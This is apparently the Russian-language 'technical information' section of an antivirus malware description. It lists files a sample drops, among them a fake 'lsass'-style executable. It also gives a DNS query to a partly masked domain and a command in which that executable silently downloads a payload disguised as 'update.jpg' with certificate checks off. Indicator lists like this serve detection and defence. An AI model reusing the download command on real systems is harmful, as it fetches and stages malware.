Техническая информация
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\contosoroot.cer
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\sdksampleunprivdeveloper.cer
- %HOMEPATH%\desktop\testcertificate.cer
- %HOMEPATH%\desktop\toolbar.bmp
- %HOMEPATH%\desktop\tree_view.html
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
- %TEMP%\newfile.tmp
- %TEMP%\zbys.tmp
- %TEMP%\sczs.log
- %TEMP%\sczss.log
- %TEMP%\sjwjm.tmp
- %APPDATA%\payerss.ini
- %TEMP%\86721053\1sass.exe
- %TEMP%\86721053\awrjyrj.exe
- <Полный путь к файлу>
- из <Полный путь к файлу> в %TEMP%\86721053\wknalwjv.tmp
- DNS ASK in####llinks.com
- '%TEMP%\86721053\1sass.exe' http://in####llinks.com/install/exe/update.jpg --no-check-certificate -O %TEMP%\86721053\update.jpg
- '%TEMP%\86721053\1sass.exe' http://in####llinks.com/install/exe/update.jpg --no-check-certificate -O %TEMP%\86721053\update.jpg' (со скрытым окном)